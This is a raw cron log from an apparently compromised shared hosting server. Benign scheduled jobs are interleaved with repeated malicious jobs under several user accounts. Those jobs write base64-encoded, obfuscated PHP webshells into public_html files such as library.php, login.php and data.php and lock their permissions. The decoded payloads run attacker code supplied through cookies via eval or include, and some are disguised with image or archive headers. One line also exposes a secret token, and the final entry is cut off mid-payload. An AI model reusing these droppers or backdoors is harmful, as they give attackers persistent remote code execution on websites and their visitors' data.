Mar  2 02:02:02 medusa CROND[24375]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:02:02 medusa CROND[24379]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:02:02 medusa CROND[24388]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:02:02 medusa CROND[24389]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:02:02 medusa CROND[24399]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:02:02 medusa CROND[24401]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:02:02 medusa CROND[24402]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:02:02 medusa CROND[24403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:02:02 medusa CROND[24412]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:02:02 medusa CROND[24404]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 02:02:02 medusa CROND[24420]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:03:01 medusa CROND[31276]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:03:01 medusa CROND[31352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:03:01 medusa CROND[31353]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:03:01 medusa CROND[31355]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:03:01 medusa CROND[31356]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:03:01 medusa CROND[31357]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:03:01 medusa CROND[31358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:03:01 medusa CROND[31361]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:03:01 medusa CROND[31363]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:03:01 medusa CROND[31364]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 02:03:01 medusa CROND[31366]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:03:01 medusa CROND[31367]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:04:01 medusa CROND[3615]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:04:01 medusa CROND[3616]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:04:01 medusa CROND[3618]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:04:01 medusa CROND[3619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:04:01 medusa CROND[3622]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlc